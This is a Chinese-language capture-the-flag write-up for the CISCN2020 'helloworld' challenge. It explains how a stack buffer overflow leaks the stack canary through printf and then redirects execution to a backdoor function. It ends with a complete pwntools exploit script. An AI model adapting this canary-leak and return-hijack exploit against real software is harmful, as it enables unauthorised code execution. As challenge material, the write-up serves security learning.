CISCN2020 华北赛区 | c00000 / helloworld (Canary泄露)

静态分析

首先 checksec 查壳,存在 Canary 保护

拉入 IDA ,定位到 main() 函数:

很明显两个 read() 存在栈溢出,并且 printf() 会输出第一次读入的内容

考虑用第一个 read() 泄露 [ebp+var_8] 位置的 Canary 值并保存

泄露的具体方法是把 Canary 最高的一字节由 x00 覆写成既定字符,这样格式化字符串输出时就不会被截断

用第二个 read() 布置好包括正确 Canary 在内的栈空间,控制程序 return 到 后门函数 fun()

EXP

from pwn import *
io = process('./helloworld2')
#io = remote('172.1.30.17','9999')
context.log_level = 'debug'
elf=ELF('./helloworld2')
payload1 = 'a' * (0x28 + 1) # cover'x00'
io.recvuntil('input book name : ')
io.send(payload1)
io.recvuntil('a' * 0x28)
canary = u64(io.recv(8)) - 0x61
print hex(canary)
payload2 = 'a' * 0x28 + p64(canary) + 'b' * 8 + p64(0x4006E7)
io.send(payload2)
io.interactive()
原文地址:https://www.cnblogs.com/zhwer/p/13664778.html